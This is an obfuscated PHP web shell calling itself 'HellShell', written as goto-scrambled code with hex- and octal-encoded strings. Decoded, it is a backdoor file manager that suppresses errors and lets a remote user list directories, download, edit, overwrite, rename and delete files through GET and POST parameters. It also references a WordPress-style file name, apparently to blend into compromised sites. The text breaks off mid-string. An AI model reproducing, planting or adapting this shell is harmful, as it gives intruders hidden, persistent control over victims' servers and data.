wZ7ek: goto ZC7Hp; oilrT: nyxtr: goto HrEHe; Bj6yj: @error_reporting(0); goto gHIW2; t45jc: p7RcU: goto S_j6T; p8nFI: hSHZi: goto jFU4M; M1sbV: ZxcyU: goto IZSOL; bX6wS: goto AOh9o; goto rBTq1; iGDOl: goto IqZZY; goto kPGD9; nJOL3: goto jx92z; goto W3QoJ; KmpX7: OFmO8: goto Kq6Pa; nDgjJ: bdO96: goto prjZV; JOi4O: L3B6x: goto vw0N5; ptU3E: goto LNCXp; goto ocGZL; XtvJl: hICWj: goto taEru; DkneV: jB8SS: goto Et_rQ; QYSDt: goto L6DFb; goto TwqXQ; bsDQj: goto hE81D; goto Vt018; KHiK3: goto pYA8s; goto J_Hln; Yr3rL: $c2TOA = $JglkV === "\x77\160\55\x62\154\157\147\x2d\146\162\157\x6e\164\56\160\150\160"; goto Bcjeb; cYkRq: NDbCh: goto hKh1w; rOPBo: goto yOMqM; goto xNL3S; Ze6iU: XTrPy: goto J5sJ6; ENk7J: hRga3: goto PDrMa; jWWrY: VNH2v: goto ihlYt; OE5yA: goto hSHZi; goto hlzGB; X6pqt: MtHzM: goto Z4ti4; nmnAf: TXPYd: goto YvG2f; HPY0G: DlJPI: goto WHIvP; vnxQO: NuHtj: goto u01qJ; CRQCp: M3Nyk: goto MWJuv; FBet9: goto UJfjM; goto OLa4J; xPu83: goto Nj2BT; goto cmre0; QVOeC: Sk_8B: goto fJCbZ; pPuqB: goto KOHoK; goto XnVfC; vWI69: goto pDGyY; goto HozkL; C1F0D: H9M8J: goto nZSBh; on6bL: Bq6R4: goto XUR1G; qBbCO: goto WV1q4; goto CsmT9; a1Q2t: if (!is_file($xBtNn)) { goto ppimC; } goto ItzMj; qW_H0: KOcL8: goto a1Q2t; wAzz2: goto tnzae; goto TXnS3; MJUaz: goto pW0Lg; goto q2Xs9; oYOLp: egqsq: goto NsKNm; x55BZ: goto KOFAb; goto GKNUm; X_Rx5: C04vy: goto JFMBg; UDjGd: v0BK4: goto oYmQe; HLD_L: oepv3: goto b_0ZW; zi3cN: goto wHPSX; goto ZnsV8; b_0ZW: goto wGiMn; goto Owtkw; bm28A: rD0Y7: goto o5L9C; A6Ru8: b0gsz: goto DuIvo; uQFMA: DAUAM: goto Yr3rL; OMyEo: $s8hWD = new S6w0T($tUnme); goto xMHB4; SOxZQ: LvNAD: goto T21kq; Fs86k: PbdyU: goto FBwr6; QBC7y: zFbrx: goto Zoi8b; UJv1z: LerbK: goto HODk0; JY0sP: i_d0m: goto Y7noi; eMvwK: goto dKikv; goto rPcjt; kp5n9: BgbEE: goto Kk1Ev; drZ7J: goto NuHtj; goto aODuH; LQGuL: goto rOJ8q; goto Woiag; AGf2c: WV1q4: goto tn5HK; wvM5G: q7hoD: goto LfvTH; u3UcH: YcUig: goto wvM5G; QPDRP: goto pfJQ7; goto xyW2D; d1lZ2: goto msEep; goto hyxRS; SzvFg: goto QLiDU; goto jFXX4; XnTpj: Mlzlf: goto YS87K; FOBjz: FQgPB: goto aijv1; N0tdo: goto l8Ts7; goto CRQCp; ot7OM: GFVEx: goto ZqIvO; OLBkN: goto NlnCg; goto bsexg; D6Njc: m9e_l: goto LK51e; oBk_h: goto qnoxP; goto lVtDI; DuIvo: goto OZSVK; goto HyZO0; ijn0m: goto MtHzM; goto tJTtt; Owtkw: gRnHu: goto tCX8N; mGj0u: yqCJY: goto MHH3p; bZqDa: ImjyR: goto OmOy_; oDR69: goto kNw4K; goto bp0Ep; p_EOs: goto zT7B3; goto itVgW; FAw4n: goto GtXL7; goto Xpr4d; rHid2: skzZX: goto Ew4Vq; JzMHZ: if (empty($_GET["\x64\x6c"])) { goto gtobW; } goto HVahR; zPWuV: MfzhX: goto XQoQW; LAQcH: goto rLxPm; goto LPrNA; STKGW: cUXEM: goto pVl5H; N5T9R: goto obHgD; goto aPdzy; Fn2MS: vyGaQ: goto HBo7O; Qztwc: y67Ap: goto Ye10f; O1iFw: qRRBF: goto bAvkV; dhR5e: YuCj4: goto KAIdj; PZazT: goto Kjfaz; goto VWhb1; C7_fs: goto MfzhX; goto uQFMA; nagnh: eYfsX: goto XveWy; iCa1I: goto UE4UV; goto fFQF6; ux48b: goto nw9_P; goto KyGJz; cS1Um: goto aF9v3; goto r9ul1; V2OHJ: goto kwn_w; goto kTiZl; IMh2y: iNoeY: goto ekQhe; UalKh: goto BtDrW; goto juHmK; kgXAp: exit; goto av9h0; qX85B: r6FWt: goto Zf00L; vQh3A: cFPwG: goto XRSia; jjccd: goto B3ej5; goto y2xVh; ByJ5y: eL3o9: goto aCgnf; wEY1S: cLY67: goto DuCLf; YNYtN: n1xAc: goto QDb5k; oD1Eb: nwZhy: goto z51Jf; Hw32e: goto yYo4F; goto RUISB; bShoH: GUAlg: goto mY2O0; TPPFj: R2qCT: goto R3R3R; pmXSl: xAjms: goto XfhKL; vrgjF: goto lGDG8; goto YNYtN; veujo: goto GFVEx; goto t786g; Ye10f: DbkW8: goto hrlxR; o5L9C: goto zy63J; goto wRq1b; IZSOL: goto plEkR; goto d7rGB; Qay5o: goto v1oOS; goto uIeAN; W1Yey: jVYnj: goto auHqi; Vxlow: SScWF: goto kgXAp; UVUtQ: M0ssD: goto njHeJ; cSm55: goto QIiQR; goto SSma9; Dl1hP: goto pgOuG; goto Szx32; tObSm: Vpv02: goto SG5Lg; D5wXD: B_6Vv: goto WGcpz; sZ75u: QtsT4: goto Qay5o; r9ul1: yg7sc: goto eU41h; cmre0: YpUjo: goto CmNmh; O_PAq: Bdf2T: goto T_f2O; k5H1Z: $xBtNn = realpath($_GET["\x64\154"]); goto L2A51; q7YAy: goto eB7a0; goto GTP3p; lfrx4: MntkF: goto GX5GA; XYhaQ: goto oRPQR; goto cFk3g; hbaSs: qEiXE: goto evbZT; hxDMW: EGZPJ: goto Dh0LO; JrmU1: goto fciXr; goto pmXSl; chfAw: goto NDS3W; goto v_bQx; ZyBPB: Sh82s: goto JTJ_6; HODk0: echo "\74\150\62\76\105\x64\x69\164\x69\156\x67\x3a\40" . basename($OYF8c) . "\x3c\x2f\150\x32\76"; goto T5gqz; CWDzT: V0rXx: goto C1vkz; sszjo: zy63J: goto kBz8y; bCGEg: o43mB: goto He2H7; h6GK8: BiKFr: goto KmQnX; oIF6W: Ke450: goto iXpBE; fM7Ha: if (is_file($OYF8c)) { goto f5nlv; } goto S301N; niBes: UJfjM: goto OQYRM; HwQDA: goto yyPmy; goto Aaa8o; dDHyn: @rename($D8T_A, $HF_AU); goto O5gxF; T1VpJ: EY5Ku: goto chPI0; xbpy_: goto WZXZz; goto yCiAq; Tm20x: mQZH3: goto TPqB0; MpkXP: goto j65UW; goto wY1La; e6jhU: ufbsx: goto uOeWD; GgoUW: goto Mf8XU; goto oBk_h; kY5qy: goto m8VZu; goto VhhhS; ROCbh: goto QlU0m; goto vCrY0; uOeWD: goto FZ2AP; goto hcwoJ; Qtv3E: MBBhg: goto Wfahm; tCX8N: nYEWv: goto VDpyM; guWkM: laL26: goto rEqON; cae8L: $tUnme = Dmvx7($fNAU7, $QeOFD, $q5ijL); goto HLnpY; APQLu: UQx3P: goto kY5qy; ik5MB: goto Uh58U; goto rHid2; hwypA: goto An6YB; goto tUduY; mXvip: goto q7hoD; goto K31sk; x6VNx: ACxZw: goto eM273; G_inn: I2JmY: goto cae8L; chPI0: goto btFGI; goto kdEdc; Q7X2c: Y2g2U: goto iAu5k; Pfozd: vos2X: goto VNQhF; kTiZl: goto JLhkU; goto jU6lT; i7xEX: goto q0QYS; goto ZKuDE; APerP: goto cc93s; goto FKta4; d_uUZ: zBLh6: goto EV0lx; qw6I2: goto DlJPI; goto zdSMe; KZ0MR: goto IHITf; goto NSBT6; aziJz: bEuoB: goto fz82N; pWLEz: goto MyQwH; goto psN7E; AbqTt: FeMir: goto QNppl; Wu0Dj: goto p7RcU; goto BCH5S; soE6m: goto evnh5; goto OA0vJ; m0qBm: goto zFbrx; goto bm28A; gaUcj: goto Uxmld; goto UDjGd; iXCp0: goto EMYdI; goto xEXPk; ZqIvO: goto vyGaQ; goto KAvzx; uGhan: goto fglM4; goto JRoYV; ivss1: w1uy_: goto lPC2j; TPqB0: goto YuCj4; goto Yi1pu; CsmT9: goto pOAWG; goto CNAMg; zfiF0: goto ReNg9; goto rxL9a; Ogr2e: goto ZFoCt; goto DYob3; PKpvj: eidbW: goto UUu0V; mNl1r: goto ZeFgS; goto BTV6s; J66w6: g6iHC: goto cTu15; VKTu_: uvuvp: goto GKsnu; P3Edt: WPVEP: goto ZyBPB; vGXSF: goto H4smI; goto lmu5v; yxCxR: BBOPc: goto SXKBh; at1Di: fT1WW: goto gIm_B; U1oqU: goto Bdf2T; goto FOBjz; c7tgh: goto I2JmY; goto CZLgn; c9tdZ: goto TXPYd; goto aPMgW; LPrNA: rivn3: goto ZgZvc; SIi_F: T07g6: goto sszjo; X3sGq: JDHCe: goto O29SP; ry0vH: goto iZ5nl; goto HgL8O; qXC8Y: goto KX2Vx; goto qB9Xc; TAeJb: goto DckSI; goto MfKxB; C1n98: Kcvlm: goto TH0hL; NO2YR: IOF4v: goto foNlo; y2xVh: goto LWJCi; goto eKlHo; ijyDK: echo hVC0_($JdqDR); goto gaUcj; gIm_B: goto JMBjk; goto mUedk; N0XQT: WPvfP: goto VKTu_; maSn0: goto ZzPDj; goto QsPIc; FY3ak: goto bMXBV; goto mNl1r; DULDq: goto YvT8m; goto cD76l; tBYLp: goto A5jA1; goto J6pyu; UCa6o: goto j2XUx; goto HMmv3; ebmTO: wssjk: goto s2s94; gtyx3: @unlink($OYF8c); goto xglhX; yikDg: goto SuKca; goto wsSRO; KyGJz: jZbVd: goto AW3Fk; O_ANL: vulF5: goto pS7J6; m3RSl: goto XO56O; goto SbBwM; QrANG: goto zxdlp; goto WOL8H; XAd4w: xCCXR: goto A3iAc; A5vJ4: goto ct3Gd; goto CH5gS; vUscg: Xu8Zx: goto XW18E; nuTOO: gNdVv: goto xdHqL; lmu5v: ZFoCt: goto ithkt; PJpNQ: IfnJf: goto F51Qt; lOUZQ: goto s6Utd; goto yTLyD; H7JE0: yyPmy: goto m6RZK; BTV6s: QxCZA: goto pfb_H; kdEdc: jED5H: goto Rke00; HEtXH: goto QT1FZ; goto wW6wz; LHMHt: goto Kcvlm; goto b8TnL; E6mJN: goto VRmhe; goto bnXuH; O1XTW: pgOuG: goto fW3YQ; VIfmn: goto fdUer; goto L7bMW; t786g: obHgD: goto pPuqB; K31sk: goto rxTcl; goto qW_H0; YfHrC: T4o2I: goto hu4uH; N7YKq: rF9Q0: goto Yp3qL; Qd3lh: if (empty($_POST["\x6e\145\167\x66\151\x6c\x65"])) { goto egqsq; } goto DW21w; MLYir: FAGob: goto bq3T2; DuCLf: HTfnm: goto yjdWQ; OLa4J: f5n0p: goto s5nwg; d12wZ: goto JscKU; goto CTPbL; P3Dsn: goto PEDAo; goto cg4ZT; R3R3R: goto Ig84v; goto OuzcA; DwdO1: goto TbGY0; goto zK5Gj; aODuH: IqZZY: goto ilgUX; ihlYt: goto bgQX6; goto wV2dM; RTRbS: goto ImjyR; goto HEtXH; pS7J6: goto UQx3P; goto jg0N4; x2NQw: n4Z1k: goto JmZFb; V4Gs8: goto xCCXR; goto B1nVA; O0SeS: goto W6f3O; goto tmFJ3; nRCFw: goto ZxcyU; goto tBYLp; zLv0S: goto AG2ub; goto whaQj; c1U1G: goto zBLh6; goto wD9U7; PQ4_q: goto LvNAD; goto JFlyl; u01qJ: M_aAL: goto veujo; C6DGU: goto OCR1p; goto fm2b4; prjZV: file_put_contents($OYF8c, $_POST["\x66\151\x6c\x65\144\141\x74\141"]); goto k4Vi5; tn5HK: goto n1dUr; goto Qztwc; OQYRM: cR2JV: goto jG054; ZvKn_: goto iwDZz; goto h43tU; lRc0U: NKnHC: goto m3RSl; cAAde: goto VMmqS; goto u7cmk; XnVfC: goto y67Ap; goto nagnh; GcvOD: eJqKf: goto wo9bF; Lfe3c: h7FAQ: goto MqVgE; uEoKz: goto GvS0d; goto tzF67; coJ7U: m8VZu: goto tEAi1; LHCPs: goto nWrVW; goto ydG6k; bnyOP: V3DtT: goto at1Di; KoEQZ: kNw4K: goto zAaF6; hiKrU: goto gw96m; goto OE7sw; CwWL8: KugWs: goto M2hcK; nk0Ti: echo $hznvy; goto soNvH; CZKTK: vuZTj: goto Osgk9; Yj7dO: Y0jlT: goto qLPnR; vwZaR: nZebr: goto HLD_L; dzeBt: WrIFn: goto Sj5EP; ckwc3: goto iWIvM; goto FL8BU; QNppl: goto yF6N3; goto CSW8n; GFjzR: goto uo4RA; goto GhxD3; nMeT9: goto ipmoX; goto XAd4w; Q92Uz: RZCVG: goto RrQzB; Mmj9S: if (empty($_GET["\162\x6d"])) { goto XFYQV; } goto lAoqM; VTF8J: HfAyO: goto Wu0Dj; sjCR2: CxF4g: goto HL_Ea; Q1G_q: goto uLRAc; goto H7UpU; G6_zE: goto QfHUS; goto dzZAB; ZKuDE: AMiM3: goto P0cNU; Noz1Z: EM03P: goto tLalb; x1zVu: nw9_P: goto V1vcl; yvmps: goto R1csS; goto bIuzY; wY1La: goto h5315; goto KXSWh; zdpHs: goto LerbK; goto BuMBm; fYcK6: goto bB2bQ; goto cUMx9; TNp3M: goto a7Syc; goto PVG03; bBowp: goto kDQNo; goto G8pQn; B05Ub: goto xUQTL; goto bnyOP; M92EE: goto YPNKf; goto MK6VQ; wW6wz: bJytY: goto FLgPu; s9Uw_: goto TkaFs; goto v0IZQ; tvKkm: goto LcHIH; goto Fs86k; gUCUZ: goto Xu8Zx; goto zPWuV; hyfoa: goto DAUAM; goto f3roe; G8RQx: goto lvK0j; goto KMUru; XUR1G: N_uzv: goto gco9H; W6N2X: VPmxL: goto chfAw; SbBwM: tcFgj: goto QrANG; IHLnC: Qjkti: goto HFyGT; NC8Tt: goto veDoV; goto idetg; cUMx9: TOJnr: goto bkpQm; pAD7h: foreach (scandir($JdqDR) as $jCoCn) { goto UyE9z; Y66nj: goto n9JmS; goto CmzPy; jZlId: goto Se3Tu; goto UILML; aiXU6: goto Hc5YW; goto CeA49; WYe8a: goto b1Sy6; goto RLwy3; yeT4n: hhcfl: goto H8BnH; SCbx4: LnGzv: goto zH3J1; dWdfR: goto kYwc5; goto fRt65; yHJKI: zckap: goto cC8lK; kpLTJ: ww1pr: goto PQx9C; n0Icx: goto hovEi; goto ieGSh; ZEQ3y: goto v8v3A; goto sHonK; XAOvM: goto JRZly; goto tuZY1; oTceV: LWu5h: goto SF4P0; yYzOb: echo "\x3c\x2f\x74\x64\76\74\x74\x64\40\x73\x74\x79\x6c\145\75\x27\x63\x6f\154\157\162\x3a{$nMJTQ}\47\x3e{$zg_8u}\74\x2f\x74\x64\x3e\x3c\164\144\76\xa\x20\x20\x20\x20\x3c\x61\40\163\x74\x79\x6c\145\x3d\47\143\157\x6c\x6f\x72\x3a\x77\150\x69\x74\145\x27\x20\x68\162\145\x66\x3d\47{$y7k3f}\x27\76\104\74\57\141\x3e\xa\40\x20\x20\x20\x3c\x66\157\x72\155\x20\x63\154\x61\x73\x73\75\47\151\156\154\x69\x6e\x65\x27\40\155\145\164\x68\157\x64\75\x27\160\157\163\164\47\x20\x6f\156\x73\165\142\x6d\151\164\75\x27\162\x65\164\165\x72\x6e\x20\x72\145\156\x61\x6d\x65\103\x6f\x6e\x66\151\162\x6d\x28\x74\150\x69\163\51\x27\x3e\12\x20\x20\40\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\x3d\47\150\151\144\x64\x65\x6e\x27\40\x6e\141\155\145\x3d\47\x72\x65\156\x61\x6d\145\137\x6f\154\144\47\x20\x76\141\154\165\x65\75\47{$B_FcA}\x27\x3e\12\40\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\171\160\145\x3d\47\164\145\170\x74\47\x20\156\x61\155\145\x3d\47\162\145\156\141\x6d\x65\137\156\x65\167\x27\x20\x76\x61\154\165\145\75\47" . htmlspecialchars($jCoCn) . "\47\x20\x73\x74\171\x6c\x65\75\47\x77\151\x64\x74\x68\72\67\x30\160\x78\47\76\12\x20\40\40\40\x3c\142\x75\164\x74\157\156\40\163\164\171\154\145\x3d\x27\x63\157\x6c\157\162\72\x77\150\x69\164\145\x27\x3e\122\x3c\57\142\165\164\164\157\x6e\x3e\xa\x20\x20\x20\x20\74\x2f\x66\157\x72\155\76\xa\40\x20\x20\40\x3c\x61\40\x73\x74\171\154\145\x3d\x27\x63\157\154\x6f\x72\x3a\167\150\151\164\145\47\40\150\162\145\146\75\47{$Hltqj}\47\x3e\105\74\x2f\141\x3e\xa\40\x20\x20\x20\x3c\57\x74\x64\76\x3c\x2f\164\162\76"; goto bT8db; c5L6t: goto Ln1ZT; goto prmJm; oVW4n: goto fVz1f; goto d5M8e; u1Ujr: OS6HX: goto XcsWr; BYjEX: goto gC_nZ; goto kGEuA; SfTo5: goto XmNHK; goto aeLSj; FcO1M: goto BA5Y_; goto tQEXP; YhIq7: goto TqnTE; goto pT5jL; fRt65: fVz1f: goto FcO1M; H8BnH: goto ne4ge; goto ybvzn; nt4Ds: pwhrg: goto Y63ME; X0KyS: hovEi: goto emleV; DSRj9: BTRC8: goto uZL8m; BH5yT: XbFFZ: goto yYzOb; w6XrN: $y7k3f = "\x3f\x64\x69\162\x3d" . urlencode($JdqDR) . "\x26\144\154\x3d" . urlencode($B_FcA); goto CfdED; YKYhJ: goto iUN4R; goto M0t1W; CmzPy: PpN1E: goto FdShd; Hjko0: echo "\x3c\x74\x72\x3e\x3c\164\x64\40\163\x74\171\154\x65\75\47\x63\x6f\x6c\x6f\x72\72{$nMJTQ}\47\76"; goto n0Icx; hhHIX: YULeT: goto yvqNV; WjkFx: goto WT6NY; goto Mh9Mz; N5kcV: goto QaNoD; goto yeT4n; tA7kr: goto loqVU; goto xKN8C; p3ddV: QaNoD: goto ZL2Dt; k381R: goto vseTk; goto h9Ahu; o3UvO: JVFFy: goto dp3bf; mMPhr: vseTk: goto WcKwo; UILML: JRZly: goto lh4fL; nyOcl: goto KIcvZ; goto XZNfU; TZeub: goto mz60F; goto tA7kr; dKObb: PcK78: goto dbyy_; zdB2U: V3gWK: goto u9145; G0bdL: w96y4: goto ulBpB; M0t1W: goto oLutN; goto F8iBn; yvqNV: rVIbV: goto QfgFv; eNMy1: RSt_5: goto Tzhjh; g1Mwd: E5c6l: goto o40iL; b6w1W: goto zPi6x; goto Og_xx; ssDLc: Ln1ZT: goto N5kcV; CeA49: goto OS6HX; goto HDW3d; Lh2Ce: goto jVjWf; goto SCbx4; D1HA1: HjmKJ: goto BiAY0; jN7HS: goto evaVG; goto Qppls; xPHbk: Se3Tu: goto Scnm2; wW_Pu: goto JdfwG; goto VH8fr; hi5J2: goto JVFFy; goto H3hLL; LxY_2: goto Y0R_U; goto KtXCs; HDW3d: EaZ0n: goto YKYhJ; grNQv: goto iMqQ6; goto f0h4T; Qr6DM: LVJwS: goto w6XrN; i0xNU: goto HldqB; goto InW24; UovVL: goto Chjeo; goto uJ9Wa; cQOnS: RGJFQ: goto VjUJ0; Qppls: aFbdp: goto Xsbju; CfdED: goto RGJFQ; goto ePr2H; N7jK5: sRzTa: goto DSRj9; XZNfU: goto YULeT; goto sPmAg; emleV: goto zckap; goto BK9Z2; eoJep: HFjca: goto PElk1; bT8db: goto EaZ0n; goto X0KyS; vUqeX: Avye1: goto G0bdL; Fo4Ze: uJjJO: goto a4qAR; ElKy2: I9xNA: goto NlPIq; VadYr: goto gZ8G9; goto Fo4Ze; Mh9Mz: goto S1QS5; goto veyYh; NlPIq: if (is_dir($B_FcA)) { goto Glzcf; } goto S5FJQ; h_xE4: TqnTE: goto srvFf; uZL8m: goto pz9NH; goto S36Yq; VaAmQ: Dquw7: goto C4tSW; zRGcS: auC7e: goto edsE6; xOGoU: echo htmlspecialchars($jCoCn); goto i0xNU; PElk1: $epbTS = "\x3f\x64\151\162\x3d" . urlencode($JdqDR) . "\46\x72\155\75" . urlencode($B_FcA); goto YF0jv; sPmAg: FpKAZ: goto xOGoU; WbT4H: goto vB3JR; goto zRGcS; nJE0E: XN6Cy: goto eNMy1; VH8fr: jVjWf: goto Hjko0; rCzF8: wbtD5: goto VadYr; kGEuA: QL6U8: goto wTv3h; PeBja: Chjeo: goto c5L6t; uxWZg: goto mK9OZ; goto BH5yT; dbyy_: goto rVIbV; goto Nuhtr; aFy_Q: goto XbFFZ; goto g1Mwd; wTv3h: ne4ge: goto Lh2Ce; grZum: goto ww1pr; goto hiHAj; Scnm2: goto BTRC8; goto BYjEX; rucUY: echo "\74\141\40\x68\162\145\x66\75\47\77\x64\x69\x72\75" . urlencode($B_FcA) . "\x27\x3e\133\x44\x49\x52\x5d\x20{$jCoCn}\x3c\57\x61\x3e"; goto WzKXA; Xsbju: goto gIaSm; goto J2e4b; tuZY1: GtRyG: goto Jds7I; FmD5s: HqXhf: goto HHS0l; n_MvJ: lHL_A: goto h_xE4; CrOLp: oLutN: goto yHJKI; au_ND: $Hltqj = "\x3f\144\x69\x72\75" . urlencode($JdqDR) . "\46\x65\x64\x69\x74\x3d" . urlencode($B_FcA); goto jZlId; ieGSh: kYwc5: goto aiXU6; RbjFb: le7qE: goto o3UvO; PQx9C: Hc5YW: goto WbT4H; o40iL: goto qrqe0; goto C3TUe; J2e4b: goto GtRyG; goto RbjFb; f6V7N: mz60F: goto FjMZZ; dp3bf: goto OuMj7; goto N7jK5; S5FJQ: goto KnG44; goto iSetL; tQEXP: goto le7qE; goto n_MvJ; edsE6: goto RSt_5; goto PDgB3; wVI5R: goto fU0xm; goto zdB2U; VjUJ0: goto LWu5h; goto k381R; PDgB3: goto sRzTa; goto hhHIX; iSetL: Glzcf: goto dWdfR; ZL2Dt: $zg_8u = is_file($B_FcA) ? filesize($B_FcA) : "\x2d"; goto Y66nj; cC8lK: goto I9xNA; goto LjeAj; a4qAR: qrqe0: goto wVI5R; FrdKK: sgnIB: goto WjkFx; hiHAj: vB3JR: goto LxY_2; BSIu1: goto lHL_A; goto aUw7A; pT5jL: goto E5c6l; goto eoJep; RLwy3: goto aFbdp; goto E7qW_; prmJm: goto QL6U8; goto cQOnS; nkieJ: goto LVJwS; goto LF_ML; Og_xx: tVKMg: goto D4Jx_; S36Yq: rKfzf: goto D1HA1; BiAY0: goto FpKAZ; goto WjfbZ; nxkyZ: XmNHK: goto PWZsV; BYNaH: if (!($jCoCn === "\x2e")) { goto tVKMg; } goto b6w1W; iT0U6: goto Y7YW8; goto CrOLp; Y63ME: KIcvZ: goto wW_Pu; aeLSj: mK9OZ: goto BYNaH; F8iBn: HldqB: goto nyOcl; InW24: pz9NH: goto fAGNE; E7qW_: yJrNY: goto TZeub; u9145: iMqQ6: goto ZEQ3y; d5M8e: Y7YW8: goto rucUY; fAGNE: $nMJTQ = is_writable($B_FcA) ? "\x23\x66\146\60" : "\43\146\x30\60"; goto I175j; xKN8C: cSOBQ: goto VaAmQ; WcKwo: WT6NY: goto uxWZg; FjMZZ: goto k0tWZ; goto nt4Ds; PWZsV: zPi6x: goto kj4no; uJ9Wa: k0tWZ: goto YhIq7; khUIN: goto wGijR; goto XAOvM; LF_ML: JdfwG: goto WYe8a; FdShd: Y0R_U: goto iT0U6; C4tSW: goto Avye1; goto xPHbk; zH3J1: goto HjmKJ; goto jN7HS; QfgFv: goto cSOBQ; goto PeBja; Nuhtr: goto HqXhf; goto u1Ujr; KtXCs: goto XN6Cy; goto nJE0E; Tzhjh: goto vUVxy; goto x1Zlu; I175j: goto hhcfl; goto vUqeX; sriQb: fU0xm: goto rCzF8; veyYh: p4DnE: goto hi5J2; WjfbZ: v8v3A: goto Ne9GF; HHS0l: wGijR: goto nkieJ; u23sO: goto LnGzv; goto ddkME; h9Ahu: vUVxy: goto u7lJB; yKuUf: goto wbtD5; goto SfTo5; WzKXA: goto auC7e; goto OZKHg; YF0jv: goto p4DnE; goto sriQb; ybvzn: goto pwhrg; goto p3ddV; ePr2H: gZ8G9: goto grNQv; Ne9GF: $B_FcA = $JdqDR . "\x2f" . $jCoCn; goto UovVL; D4Jx_: goto Zs341; goto Qr6DM; XcsWr: KnG44: goto u23sO; x1Zlu: gC_nZ: goto ssDLc; OZKHg: n9JmS: goto khUIN; H3hLL: goto uJjJO; goto dKObb; Y0rSP: gIaSm: goto grZum; C3TUe: goto rKfzf; goto bxbKZ; LjeAj: OuMj7: goto au_ND; kj4no: goto yJrNY; goto kpLTJ; bxbKZ: loqVU: goto oTceV; aUw7A: evaVG: goto f6V7N; f0h4T: goto V3gWK; goto ElKy2; BK9Z2: goto PpN1E; goto FrdKK; sHonK: Zs341: goto yKuUf; lh4fL: iUN4R: goto BSIu1; Jds7I: BA5Y_: goto aFy_Q; srvFf: goto PcK78; goto mMPhr; u7lJB: b1Sy6: goto oVW4n; UyE9z: goto sgnIB; goto nxkyZ; ddkME: S1QS5: goto Y0rSP; SF4P0: goto HFjca; goto FmD5s; ulBpB: } goto xExXe; PDrMa: if (empty($_POST["\x73\141\166\145\x66\151\x6c\x65"])) { goto AMiM3; } goto i7xEX; fK2Ze: goto uPBS1; goto JelQD; Zjoa3: UE4UV: goto KJ9DW; Vnkje: goto J2g9H; goto iO6Px; pfb_H: goto YdNYY; goto DZPMO; A3iAc: goto BPJ4w; goto H_Ys8; Orv0N: dLMym: goto m0qBm; pq4ZS: goto g6iHC; goto hKizP; kD6XT: goto PMfz0; goto f4YMc; jyS94: goto wG4QQ; goto beXJa; ElFdE: if (!(!$JdqDR || !is_dir($JdqDR))) { goto NEL4y; } goto txvvt; QkkKu: $OYF8c = realpath($_GET["\162\x6d"]); goto GFjzR; yUnRu: lAGKT: goto tkAOW; LhIiH: goto O2GDB; goto ecHb3; UDF0S: QT1FZ: goto XnTpj; RhnSC: AyUTC: goto l3eRf; kmudu: header("\x43\157\156\164\x65\x6e\x74\55\104\x69\x73\160\x6f\163\x69\164\151\157\x6e\72\40\141\x74\164\141\143\150\155\145\x6e\164\x3b\40\x66\151\x6c\145\x6e\x61\155\145\x3d\x22" . basename($xBtNn) . "\42"); goto vGXSF; Dh0LO: goto IfnJf; goto qjebX; rQbqD: goto R2qCT; goto dJQ6q; lhDSv: goto tMLMs; goto UGHVI; IrMlS: QjXFk: goto zN5y3; jEBL_: goto bdO96; goto RnKjm; QIsGB: yRMAV: goto O3TT9; KEX0F: goto Hm5Mz; goto JOi4O; AxE95: goto X_VRy; goto bqqHi; KVKlT: goto Vpv02; goto C7_fs; fJCbZ: q0QYS: goto OksMU; fj_AW: pnE5r: goto Fn2MS; ZGS9I: echo "\74\x2f\x75\x6c\x3e\74\x68\x72\76"; goto Lct8Y; fZ4fb: MyQwH: goto zxPvx; GzHf1: wodEv: goto Xq2OV; OiT2O: SuKca: goto RTRbS; WHIvP: goto hRga3; goto xlAOS; uzFib: XO56O: goto gw4Nl; iwikX: goto Naw4a; goto nuJVB; SAtNS: rxTcl: goto nl37G; T7lRt: echo "\x3c\x21\x44\117\103\124\131\120\105\40\x68\164\155\x6c\76\12\x3c\x68\164\x6d\154\76\12\x3c\150\x65\141\144\x3e\xa\x3c\155\145\x74\x61\40\143\150\x61\x72\x73\x65\x74\75\x22\165\164\x66\x2d\x38\42\76\xa\x3c\x74\151\164\x6c\x65\x3e\x48\x65\154\154\123\x68\145\x6c\x6c\74\x2f\x74\151\x74\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\x62\157\x64\x79\x20\x7b\x20\142\141\143\153\147\162\157\165\x6e\144\x3a\43\x30\x30\60\x3b\40\x63\157\154\157\162\72\43\146\146\60\73\x20\x66\x6f\156\164\x2d\146\141\x6d\x69\154\x79\x3a\x41\x72\x69\x61\x6c\54\40\x73\x61\156\x73\55\x73\x65\x72\x69\x66\x3b\40\x74\145\x78\164\x2d\x61\154\x69\147\x6e\x3a\x63\145\x6e\164\x65\162\x3b\40\175\xa\150\x32\40\x7b\x20\143\x6f\x6c\157\x72\72\x23\x66\x66\60\73\x20\155\x61\162\147\151\156\72\62\60\160\170\40\60\x3b\x20\175\xa\141\x20\x7b\40\x63\157\154\157\x72\72\x23\146\x66\60\73\x20\x74\x65\170\x74\55\x64\x65\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\156\x6f\156\145\x3b\x20\x7d\12\141\72\150\157\x76\145\162\x20\173\40\x74\x65\170\x74\x2d\x64\x65\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x75\x6e\x64\145\162\x6c\x69\156\145\73\40\175\xa\x2e\x6f\x6b\x20\173\40\143\157\154\157\x72\x3a\x23\x30\146\x30\73\x20\175\xa\x2e\145\162\162\x20\x7b\x20\x63\x6f\x6c\x6f\162\x3a\43\146\60\60\73\40\x7d\12\56\x77\x61\x72\156\40\173\x20\143\157\154\157\162\x3a\43\146\146\x30\73\40\175\12\x74\x61\x62\154\145\40\x7b\40\167\x69\144\x74\150\x3a\x39\60\45\x3b\x20\x6d\141\x72\147\151\x6e\x3a\x61\x75\x74\x6f\x3b\x20\x62\157\162\x64\x65\x72\x2d\143\x6f\154\154\x61\160\x73\x65\72\143\157\x6c\154\141\160\x73\145\73\x20\x6d\x61\162\147\x69\156\55\x74\x6f\x70\x3a\x32\60\x70\x78\x3b\40\x7d\xa\x74\144\54\164\x68\x20\173\x20\142\157\162\x64\x65\x72\72\x31\160\x78\40\163\157\154\x69\x64\40\x23\65\x35\x35\73\40\160\141\144\x64\151\x6e\x67\x3a\66\x70\x78\73\40\175\xa\x66\x6f\162\155\56\x69\x6e\154\151\156\145\x20\173\40\144\151\x73\x70\154\141\x79\72\151\x6e\154\x69\156\145\73\x20\175\xa\151\156\x70\x75\164\54\142\x75\164\x74\157\156\x20\173\x20\160\x61\x64\x64\x69\x6e\147\x3a\65\x7